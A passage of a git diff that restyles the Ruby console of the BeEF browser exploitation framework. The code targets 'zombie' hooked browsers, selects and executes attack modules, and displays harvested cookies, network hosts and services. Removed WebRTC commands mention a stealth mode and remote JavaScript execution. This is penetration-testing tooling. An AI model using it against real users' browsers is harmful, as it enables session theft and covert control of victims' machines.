when 'offline' + driver.run_single('offline') + when 'commands' + if driver.dispatched_enstacked(Target) + if args[1] == '-s' and !args[2].nil? + driver.run_single("commands #{args[1]} #{args[2]}") + return + else + driver.run_single('commands') + end + else + print_error("You aren't targeting a zombie yet") + end + when 'info' + if driver.dispatched_enstacked(Target) + driver.run_single('info') + else + print_error("You aren't targeting a zombie yet") + end + when 'cmdinfo' + if driver.dispatched_enstacked(Command) + driver.run_single('cmdinfo') + else + print_error("You haven't selected a command module yet") + end + else + print_error('Invalid parameter, try show -h for more information.') + end + end + end + + def cmd_show_tabs(_str, words) + return [] if words.length > 1 + + res = %w[zombies browsers online offline] + + res.concat(%w[commands info]) if driver.dispatched_enstacked(Target) + + res.concat(%w[cmdinfo]) if driver.dispatched_enstacked(Command) + + res + end + + def cmd_show_help + global_opts = %w[zombies browsers] + print_status("Valid parameters for the \"show\" command are: #{global_opts.join(', ')}") + + target_opts = %w[commands] + print_status("If you're targeting a module, you can also specify: #{target_opts.join(', ')}") + end + end end end end - - def cmd_target_help(*args) - print_status("Target a particular online, hooked browser") - print_status(" Usage: target ") - end - - def cmd_rtcgo(*args) - if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true - print_status("WebRTC Extension is not enabled..") - return false - end - - @@bare_opts.parse(args) {|opt,idx,val| - case opt - when "-h" - cmd_rtcgo_help - return false - end - } - - if args[0] == nil or args[1] == nil - cmd_rtcgo_help - return - end - - onlinezombies = [] - BeEF::Core::Models::HookedBrowser.where('lastseen > ?' (Time.new.to_i - 30)).each do |z| - onlinezombies << z.id - end - - if not onlinezombies.include?(args[0].to_i) - print_status("Browser [id:"+args[0].to_s+"] does not appear to be online.") - return false - end - - if not onlinezombies.include?(args[1].to_i) - print_status("Browser [id:"+args[1].to_s+"] does not appear to be online.") - return false - end - - if args[2] == nil - BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i) - else - if args[2] =~ (/^(true|t|yes|y|1)$/i) - BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i,true) - else - BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i) - end - end - - end - - def cmd_rtcgo_help(*args) - print_status("To kick off the WebRTC Peer to Peer between two browsers") - print_status(" Usage: rtcgo ") - end - - def cmd_rtcmsg(*args) - if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true - print_status("WebRTC Extension is not enabled..") - return false - end - - @@bare_opts.parse(args) {|opt,idx,val| - case opt - when "-h" - cmd_rtcmsg_help - return false - end - } - - if (args[0] == nil || args[1] == nil || args[2] == nil) - cmd_rtcmsg_help - return - else - p = "" - (2..args.length-1).each do |x| - p << args[x] << " " - end - p.chop! - BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i,args[1].to_i,p) - end - end - - def cmd_rtcmsg_help(*args) - print_status("Sends a message from this browser to its peers") - print_status(" Usage: rtcmsg ") - print_status("There are a few formats that are available within the beefwebrtc client-side object:") - print_status(" !gostealth - will put the browser into a stealth mode") - print_status(" !endstealth - will put the browser into normal mode, and it will start talking to BeEF again") - print_status(" % - will execute JavaScript on sending the results back to - who will relay back to BeEF") - print_status(" - will simply send a datachannel message from to . If the is stealthed, it'll bounce the message back. If the is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler") - end - - def cmd_rtcstatus(*args) - if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true - print_status("WebRTC Extension is not enabled..") - return false - end - - @@bare_opts.parse(args) {|opt,idx,val| - case opt - when "-h" - cmd_rtcstatus_help - return false - end - } - - if (args[0] == nil) - cmd_rtcstatus_help - return - else - BeEF::Core::Models::Rtcmanage.status(args[0].to_i) - end - end - - def cmd_rtcstatus_help(*args) - print_status("Sends a message to this browser - checking the WebRTC Status of all its peers") - print_status(" Usage: rtcstatus ") - end - - def cmd_irb(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_irb_help - return false - end - } - - print_status("Starting IRB shell...\n") - - begin - Rex::Ui::Text::IrbShell.new(binding).run - rescue - print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") - end - end - - def cmd_irb_help(*args) - print_status("Load the IRB, Interative Ruby Shell") - end - - def cmd_review(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_review_help - return false - end - } - - if args[0] == nil - cmd_review_help - return - end - - offlinezombies = [] - BeEF::Core::Models::HookedBrowser.where('lastseen < ?', (Time.new.to_i - 30)).each do |zombie| - offlinezombies << zombie.id - end - - targets = args[0].split(',') - targets.each {|t| - if not offlinezombies.include?(t.to_i) - print_status("Browser [id:"+t.to_s+"] does not appear to be offline.") - return false - end - #print_status("Adding browser [id:"+t.to_s+"] to target list.") - } - - # if not offlinezombies.include?(args[0].to_i) - # print_status("Browser does not appear to be offline..") - # return false - # end - - if not driver.interface.setofflinetarget(targets).nil? - if (driver.dispatcher_stack.size > 1 and - driver.current_dispatcher.name != 'Core') - driver.destack_dispatcher - driver.update_prompt('') - end - - driver.enstack_dispatcher(Target) - if driver.interface.targetid.length > 1 - driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") - else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") - end - end - - end - - def cmd_review_help(*args) - print_status("Review an offline, previously hooked browser") - print_status(" Usage: review ") - end - - def cmd_show(*args) - args << "-h" if (args.length == 0) - - args.each { |type| - case type - when '-h' - cmd_show_help - when 'zombies' - driver.run_single("online") - when 'browsers' - driver.run_single("online") - when 'online' - driver.run_single("online") - when 'offline' - driver.run_single("offline") - when 'commands' - if driver.dispatched_enstacked(Target) - if args[1] == "-s" and not args[2].nil? - driver.run_single("commands #{args[1]} #{args[2]}") - return - else - driver.run_single("commands") - end - else - print_error("You aren't targeting a zombie yet") - end - when 'info' - if driver.dispatched_enstacked(Target) - driver.run_single("info") - else - print_error("You aren't targeting a zombie yet") - end - when 'cmdinfo' - if driver.dispatched_enstacked(Command) - driver.run_single("cmdinfo") - else - print_error("You haven't selected a command module yet") - end - else - print_error("Invalid parameter, try show -h for more information.") - end - } - end - - def cmd_show_tabs(str, words) - return [] if words.length > 1 - - res = %w{zombies browsers online offline} - - if driver.dispatched_enstacked(Target) - res.concat(%w{commands info}) - end - - if driver.dispatched_enstacked(Command) - res.concat(%w{cmdinfo}) - end - - return res - end - - def cmd_show_help - global_opts = %w{zombies browsers} - print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}") - - target_opts = %w{commands} - print_status("If you're targeting a module, you can also specify: #{target_opts.join(", ")}") - end - end - -end end end end diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb index f45763b64..f89a4efbe 100644 --- a/extensions/console/lib/command_dispatcher/target.rb +++ b/extensions/console/lib/command_dispatcher/target.rb @@ -4,288 +4,282 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Console -module CommandDispatcher - -class Target - include BeEF::Extension::Console::CommandDispatcher - - @@commands = [] - - def initialize(driver) - super - begin - driver.interface.getcommands.each { |folder| - folder['children'].each { |command| - @@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") - } - } - rescue - return - end - end - - def commands - { - "commands" => "List available commands against this particular target", - "info" => "Info about the target", - "select" => "Prepare the command module for execution against this target", - "hosts" => "List identified network hosts", - "services" => "List identified network services" - } - end - - def name - "Target" - end - - @@bare_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help." ]) + module Extension + module Console + module CommandDispatcher + class Target + include BeEF::Extension::Console::CommandDispatcher - @@commands_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help."], - "-s" => [ false, ""], - "-r" => [ false, "List modules which have responses against them only"]) - - def cmd_commands(*args) + @@commands = [] - searchstring = nil - responly = nil - - @@commands_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_commands_help - return false - when "-s" - searchstring = args[1].downcase if not args[1].nil? - when "-r" - responly = true - end - } - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'Id', - 'Command', - 'Status', - 'Execute Count' - ]) - - - driver.interface.getcommands.each { |folder| - folder['children'].each { |command| - - cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") - - if not searchstring.nil? - if not cmdstring.downcase.index(searchstring).nil? - tbl << [command['id'].to_i, - cmdstring, - command['status'].gsub(/^Verified /,""), - driver.interface.getcommandresponses(command['id']).length] #TODO + def initialize(driver) + super + begin + driver.interface.getcommands.each do |folder| + folder['children'].each do |command| + @@commands << (folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')) + end + end + rescue StandardError + nil + end end - elsif not responly.nil? - tbl << [command['id'].to_i, - cmdstring, - command['status'].gsub(/^Verified /,""), - driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0 - else - tbl << [command['id'].to_i, - cmdstring, - command['status'].gsub(/^Verified /,""), - driver.interface.getcommandresponses(command['id']).length] #TODO - end - - } - } - - puts "\n" - puts "List command modules for this target\n" - puts tbl.to_s + "\n" - - end - - def cmd_commands_help(*args) - print_status("List command modules for this target") - print_line("Usage: commands [options]") - print_line - print @@commands_opts.usage() - end - - def cmd_info(*args) - - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_info_help - return false - end - } - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'Param', - 'Value' - ]) - - driver.interface.select_zombie_summary['results'].each { |x| - x['data'].each { |k,v| - tbl << [k,v] - } - } - - puts "\nHooked Browser Info:\n" - puts tbl.to_s + "\n" - - end - - def cmd_info_help(*args) - print_status("Display initialisation information about the hooked browser.") - end - - def cmd_hosts(*args) - - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_hosts_help - return false - end - } - - configuration = BeEF::Core::Configuration.instance - if !configuration.get("beef.extension.network.enable") - print_error("Network extension is disabled") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'IP', - 'Hostname', - 'Type', - 'Operating System', - 'MAC Address', - 'Last Seen' - ]) - - driver.interface.select_network_hosts['results'].each do |x| - tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac'],x['lastseen']] - end - - puts "\nNetwork Hosts:\n\n" - puts tbl.to_s + "\n" - - end - - def cmd_hosts_help(*args) - print_status("Display information about network hosts on the hooked browser's network.") - end - - def cmd_services(*args) - - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_services_help - return false - end - } - - configuration = BeEF::Core::Configuration.instance - if !configuration.get("beef.extension.network.enable") - print_error("Network extension is disabled") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'IP', - 'Port', - 'Protocol', - 'Type' - ]) - - driver.interface.select_network_services['results'].each do |x| - tbl << [x['ip'],x['port'],x['proto'],x['type']] - end - - puts "\nNetwork Services:\n\n" - puts tbl.to_s + "\n" - - end - - def cmd_services_help(*args) - print_status("Display information about network services on the hooked browser's network.") - end - - def cmd_select(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_select_help - return false - end - } - - if args[0] == nil - cmd_select_help - return false - end - - modid = nil - - if args[0] =~ /[0-9]+/ - modid = args[0] - else - driver.interface.getcommands.each { |x| - x['children'].each { |y| - if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") - modid = y['id'] + def commands + { + 'commands' => 'List available commands against this particular target', + 'info' => 'Info about the target', + 'select' => 'Prepare the command module for execution against this target', + 'hosts' => 'List identified network hosts', + 'services' => 'List identified network services' + } end - } - } - end - - if modid.nil? - print_status("Could not find command module") - return false - end - - driver.interface.setcommand(modid) - - driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false - - if driver.interface.targetid.length > 1 - driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ") - else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ") - end - end - - def cmd_select_help(*args) - print_status("Select a command module to use against the current target") - print_status(" Usage: module OR ") - end - - def cmd_select_tabs(str,words) - return if words.length > 1 - - if @@commands == "" - #nothing prepopulated? - else - return @@commands + def name + 'Target' + end + + @@bare_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help.'] + ) + + @@commands_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help.'], + '-s' => [false, ''], + '-r' => [false, 'List modules which have responses against them only'] + ) + + def cmd_commands(*args) + searchstring = nil + responly = nil + + @@commands_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_commands_help + return false + when '-s' + searchstring = args[1].downcase unless args[1].nil? + when '-r' + responly = true + end + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + [ + 'Id', + 'Command', + 'Status', + 'Execute Count' + ] + ) + + driver.interface.getcommands.each do |folder| + folder['children'].each do |command| + cmdstring = folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_') + + if !searchstring.nil? + unless cmdstring.downcase.index(searchstring).nil? + tbl << [command['id'].to_i, + cmdstring, + command['status'].gsub(/^Verified /, ''), + driver.interface.getcommandresponses(command['id']).length] # TODO + end + elsif !responly.nil? + if driver.interface.getcommandresponses(command['id']).length.to_i > 0 + tbl << [command['id'].to_i, + cmdstring, + command['status'].gsub(/^Verified /, ''), + driver.interface.getcommandresponses(command['id']).length] + end + + else + tbl << [command['id'].to_i, + cmdstring, + command['status'].gsub(/^Verified /, ''), + driver.interface.getcommandresponses(command['id']).length] # TODO + end + end + end + + puts "\n" + puts "List command modules for this target\n" + puts tbl.to_s + "\n" + end + + def cmd_commands_help(*_args) + print_status('List command modules for this target') + print_line('Usage: commands [options]') + print_line + print @@commands_opts.usage + end + + def cmd_info(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_info_help + return false + end + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + %w[ + Param + Value + ] + ) + + driver.interface.select_zombie_summary['results'].each do |x| + x['data'].each do |k, v| + tbl << [k, v] + end + end + + puts "\nHooked Browser Info:\n" + puts tbl.to_s + "\n" + end + + def cmd_info_help(*_args) + print_status('Display initialisation information about the hooked browser.') + end + + def cmd_hosts(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_hosts_help + return false + end + end + + configuration = BeEF::Core::Configuration.instance + unless configuration.get('beef.extension.network.enable') + print_error('Network extension is disabled') + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + [ + 'IP', + 'Hostname', + 'Type', + 'Operating System', + 'MAC Address', + 'Last Seen' + ] + ) + + driver.interface.select_network_hosts['results'].each do |x| + tbl << [x['ip'], x['hostname'], x['type'], x['os'], x['mac'], x['lastseen']] + end + + puts "\nNetwork Hosts:\n\n" + puts tbl.to_s + "\n" + end + + def cmd_hosts_help(*_args) + print_status("Display information about network hosts on the hooked browser's network.") + end + + def cmd_services(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_services_help + return false + end + end + + configuration = BeEF::Core::Configuration.instance + unless configuration.get('beef.extension.network.enable') + print_error('Network extension is disabled') + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + %w[ + IP + Port + Protocol + Type + ] + ) + + driver.interface.select_network_services['results'].each do |x| + tbl << [x['ip'], x['port'], x['proto'], x['type']] + end + + puts "\nNetwork Services:\n\n" + puts tbl.to_s + "\n" + end + + def cmd_services_help(*_args) + print_status("Display information about network services on the hooked browser's network.") + end + + def cmd_select(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_select_help + return false + end + end + + if args[0].nil? + cmd_select_help + return false + end + + modid = nil + + if args[0] =~ /[0-9]+/ + modid = args[0] + else + driver.interface.getcommands.each do |x| + x['children'].each do |y| + modid = y['id'] if args[0].chomp == x['text'].gsub(/\s/, '_') + y['text'].gsub(/[-()]/, '').gsub(/\W+/, '_') + end + end + end + + if modid.nil? + print_status('Could not find command module') + return false + end + + driver.interface.setcommand(modid) + + driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false + + if driver.interface.targetid.length > 1 + driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] / ' + driver.interface.cmd['Name'] + ' ') + else + driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] / ' + driver.interface.cmd['Name'] + ' ') + end + end + + def cmd_select_help(*_args) + print_status('Select a command module to use against the current target') + print_status(' Usage: module OR ') + end + + def cmd_select_tabs(_str, words) + return if words.length > 1 + + if @@commands == '' + # nothing prepopulated? + else + @@commands + end + end + end + end end end - end - -end end end end diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 20ad418fc..8eb2201da 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -4,450 +4,429 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Console + module Extension + module Console + class ShellInterface + BD = BeEF::Core::Models::BrowserDetails -class ShellInterface - - BD = BeEF::Core::Models::BrowserDetails - - def initialize(config) - self.config = config - self.cmd = {} - end - - def settarget(id) - begin - self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session - self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip - self.targetid = id - rescue - return nil - end - end - - def setofflinetarget(id) - begin - self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session - self.targetip = "(OFFLINE) " + BeEF::Core::Models::HookedBrowser.find(id).ip - self.targetid = id - rescue - return nil - end - end - - def cleartarget - self.targetsession = nil - self.targetip = nil - self.targetid = nil - self.cmd = {} - end - - # @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb - def getcommands - - return if self.targetid.nil? - - tree = [] - BeEF::Modules.get_categories.each { |c| - if c[-1,1] != "/" - c.concat("/") - end - tree.push({ - 'text' => c, - 'cls' => 'folder', - 'children' => [] - }) - } - - BeEF::Modules.get_enabled.each{|k, mod| - - flatcategory = "" - if mod['category'].kind_of?(Array) - # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder. - mod['category'].each {|cat| - flatcategory << cat + "/" - } - else - flatcategory = mod['category'] - if flatcategory[-1,1] != "/" - flatcategory.concat("/") - end - end - - update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id']) - } - - # if dynamic modules are found in the DB, then we don't have yaml config for them - # and loading must proceed in a different way. - dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/') - - if(dynamic_modules != nil) - all_modules = BeEF::Core::Models::CommandModule.all.order(:id) - all_modules.each{|dyn_mod| - next if !dyn_mod.path.split('/').first.match(/^Dynamic/) - - dyn_mod_name = dyn_mod.path.split('/').last - dyn_mod_category = nil - if(dyn_mod_name == "Msf") - dyn_mod_category = "Metasploit" - else - # future dynamic modules... + def initialize(config) + self.config = config + self.cmd = {} end - #print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]") - command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new - command_mod.session_id = hook_session_id - command_mod.update_info(dyn_mod.id) - command_mod_name = command_mod.info['Name'].downcase - - update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id) - } - end - - # sort the parent array nodes - tree.sort! {|a,b| a['text'] <=> b['text']} - - # sort the children nodes by status - tree.each {|x| x['children'] = - x['children'].sort_by {|a| a['status']} - } - - # append the number of command modules so the branch name results in: " (num)" - #tree.each {|command_module_branch| - # num_of_command_modules = command_module_branch['children'].length - # command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - #} - - # return a JSON array of hashes - tree - end - - def setcommand(id) - key = BeEF::Module.get_key_by_database_id(id.to_i) - - self.cmd['id'] = id - self.cmd['Name'] = self.config.get("beef.module.#{key}.name") - self.cmd['Description'] = self.config.get("beef.module.#{key}.description") - self.cmd['Category'] = self.config.get("beef.module.#{key}.category") - self.cmd['Data'] = BeEF::Module.get_options(key) - end - - def clearcommand - self.cmd = {} - end - - def setparam(param,value) - self.cmd['Data'].each do |data| - if data['name'] == param - data['value'] = value - return - end - end - end - - def getcommandresponses(cmdid = self.cmd['id']) - - commands = [] - i = 0 - - BeEF::Core::Models::Command.where(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command| - commands.push({ - 'id' => i, - 'object_id' => command.id, - 'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s, - 'label' => command.label - }) - i+=1 - end - - commands - end - - def getindividualresponse(cmdid) - results = [] - begin - BeEF::Core::Models::Result.where(:command_id => cmdid).each { |result| - results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) - } - rescue - return nil - end - results - end - - def executecommand - definition = {} - options = {} - options.store("zombie_session", self.targetsession.to_s) - options.store("command_module_id", self.cmd['id']) - - if not self.cmd['Data'].nil? - self.cmd['Data'].each do |key| - options.store("txt_"+key['name'].to_s,key['value']) - end - end - - options.keys.each {|param| - definition[param[4..-1]] = options[param] - oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = options[param] - oc.save - } - - mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id']) - # Hack to rework the old option system into the new option system - def2 = [] - definition.each{|k,v| - def2.push({'name' => k, 'value' => v}) - } - # End hack - if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil - return true - else - return false - end - - #Old method - #begin - # BeEF::Core::Models::Command.new( :data => definition.to_json, - # :hooked_browser_id => self.targetid, - # :command_module_id => self.cmd['id'], - # :creationdate => Time.new.to_i - # ).save - #rescue - # return false - #end - - #return true - end - - def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id) - - # construct leaf node for the command module tree - leaf_node = { - 'text' => cmd_name, - 'leaf' => true, - 'status' => cmd_status, - 'id' => cmd_id - } - - # add the node to the branch in the command module tree - tree.each {|x| - if x['text'].eql? cmd_category - x['children'].push( leaf_node ) - break + def settarget(id) + self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session + self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip + self.targetid = id + rescue StandardError + nil end - } - end - def get_command_module_status(mod) - hook_session_id = self.targetsession - if hook_session_id == nil - return "Verified Unknown" - end - case BeEF::Module.support(mod, { - 'browser' => BD.get(hook_session_id, 'BrowserName'), - 'ver' => BD.get(hook_session_id, 'BrowserVersion'), - 'os' => [BD.get(hook_session_id, 'OsName')]}) + def setofflinetarget(id) + self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session + self.targetip = '(OFFLINE) ' + BeEF::Core::Models::HookedBrowser.find(id).ip + self.targetid = id + rescue StandardError + nil + end - when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - return "Verified Not Working" - when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY - return "Verified User Notify" - when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING - return "Verified Working" - when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN - return "Verified Unknown" - else - return "Verified Unknown" - end - end + def cleartarget + self.targetsession = nil + self.targetip = nil + self.targetid = nil + self.cmd = {} + end - # @note Returns a JSON array containing the summary for a selected zombie. - # Yoinked from the UI panel - - # we really need to centralise all this stuff and encapsulate it away. - def select_zombie_summary + # @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb + def getcommands + return if targetid.nil? - return if self.targetsession.nil? + tree = [] + BeEF::Modules.get_categories.each do |c| + c.concat('/') if c[-1, 1] != '/' + tree.push({ + 'text' => c, + 'cls' => 'folder', + 'children' => [] + }) + end - # init the summary grid - summary_grid_hash = { - 'success' => 'true', - 'results' => [] - } + BeEF::Modules.get_enabled.each do |k, mod| + flatcategory = '' + if mod['category'].is_a?(Array) + # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder. + mod['category'].each do |cat| + flatcategory << (cat + '/') + end + else + flatcategory = mod['category'] + flatcategory.concat('/') if flatcategory[-1, 1] != '/' + end - # zombie properties - # in the form of: category, UI label, value - zombie_properties = [ + update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'], mod['db']['id']) + end - # Browser - ['Browser', 'Browser Name', 'BrowserName'], - ['Browser', 'Browser Version', 'BrowserVersion'], - ['Browser', 'Browser UA String', 'BrowserReportedName'], - ['Browser', 'Browser Language', 'BrowserLanguage'], - ['Browser', 'Browser Platform', 'BrowserPlatform'], - ['Browser', 'Browser Plugins', 'BrowserPlugins'], - ['Browser', 'Window Size', 'WindowSize'], + # if dynamic modules are found in the DB, then we don't have yaml config for them + # and loading must proceed in a different way. + dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/') - # Browser Components - ['Browser Components', 'Flash', 'HasFlash'], - ['Browser Components', 'Java', 'JavaEnabled'], - ['Browser Components', 'VBScript', 'VBScriptEnabled'], - ['Browser Components', 'PhoneGap', 'HasPhonegap'], - ['Browser Components', 'Google Gears', 'HasGoogleGears'], - ['Browser Components', 'Web Sockets', 'HasWebSocket'], - ['Browser Components', 'QuickTime', 'HasQuickTime'], - ['Browser Components', 'RealPlayer', 'HasRealPlayer'], - ['Browser Components', 'Windows Media Player','HasWMP'], - ['Browser Components', 'VLC', 'HasVLC'], - ['Browser Components', 'WebRTC', 'HasWebRTC'], - ['Browser Components', 'ActiveX', 'HasActiveX'], - ['Browser Components', 'Session Cookies', 'hasSessionCookies'], - ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'], + unless dynamic_modules.nil? + all_modules = BeEF::Core::Models::CommandModule.all.order(:id) + all_modules.each do |dyn_mod| + next unless dyn_mod.path.split('/').first.match(/^Dynamic/) - # Hooked Page - ['Hooked Page', 'Page Title', 'PageTitle'], - ['Hooked Page', 'Page URI', 'PageURI'], - ['Hooked Page', 'Page Referrer', 'PageReferrer'], - ['Hooked Page', 'Hook Host', 'HostName'], - ['Hooked Page', 'Cookies', 'Cookies'], + dyn_mod_name = dyn_mod.path.split('/').last + dyn_mod_category = nil + if dyn_mod_name == 'Msf' + dyn_mod_category = 'Metasploit' + else + # future dynamic modules... + end - # Host - ['Host', 'Date', 'DateStamp'], - ['Host', 'Operating System', 'OsName'], - ['Host', 'Hardware', 'Hardware'], - ['Host', 'CPU', 'CPU'], - ['Host', 'Default Browser', 'DefaultBrowser'], - ['Host', 'Screen Size', 'ScreenSize'], - ['Host', 'Touch Screen', 'TouchEnabled'] - ] + # print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]") + command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new + command_mod.session_id = hook_session_id + command_mod.update_info(dyn_mod.id) + command_mod_name = command_mod.info['Name'].downcase - # set and add the return values for each browser property - # in the form of: category, UI label, value - zombie_properties.each do |p| + update_command_module_tree(tree, dyn_mod_category, 'Verified Unknown', command_mod_name, dyn_mod.id) + end + end - case p[2] - when "BrowserName" - data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s + # sort the parent array nodes + tree.sort! { |a, b| a['text'] <=> b['text'] } - when "ScreenSize" - screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON - width = screen_size_hash['width'] - height = screen_size_hash['height'] - cdepth = screen_size_hash['colordepth'] - data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}" + # sort the children nodes by status + tree.each do |x| + x['children'] = + x['children'].sort_by { |a| a['status'] } + end - when "WindowSize" - window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON - width = window_size_hash['width'] - height = window_size_hash['height'] - data = "Width: #{width}, Height: #{height}" - else - data = BD.get(self.targetsession, p[2]) - end + # append the number of command modules so the branch name results in: " (num)" + # tree.each {|command_module_branch| + # num_of_command_modules = command_module_branch['children'].length + # command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" + # } - # add property to summary hash - if not data.nil? - summary_grid_hash['results'].push({ - 'category' => p[0], - 'data' => { p[1] => CGI.escapeHTML("#{data}") }, - 'from' => 'Initialization' - }) - end + # return a JSON array of hashes + tree + end - end + def setcommand(id) + key = BeEF::Module.get_key_by_database_id(id.to_i) - summary_grid_hash - end + cmd['id'] = id + cmd['Name'] = config.get("beef.module.#{key}.name") + cmd['Description'] = config.get("beef.module.#{key}.description") + cmd['Category'] = config.get("beef.module.#{key}.category") + cmd['Data'] = BeEF::Module.get_options(key) + end - def select_network_hosts + def clearcommand + self.cmd = {} + end - return if self.targetsession.nil? + def setparam(param, value) + cmd['Data'].each do |data| + if data['name'] == param + data['value'] = value + return + end + end + end - configuration = BeEF::Core::Configuration.instance - if !configuration.get("beef.extension.network.enable") - print_error("Network extension is disabled") - return { - 'success' => 'false', - 'results' => [] - } - end + def getcommandresponses(cmdid = cmd['id']) + commands = [] + i = 0 - # init the summary grid - summary_grid_hash = { - 'success' => 'true', - 'results' => [] - } - @nh = BeEF::Core::Models::NetworkHost - hosts = @nh.where(:hooked_browser_id => self.targetsession) + BeEF::Core::Models::Command.where(command_module_id: cmdid, 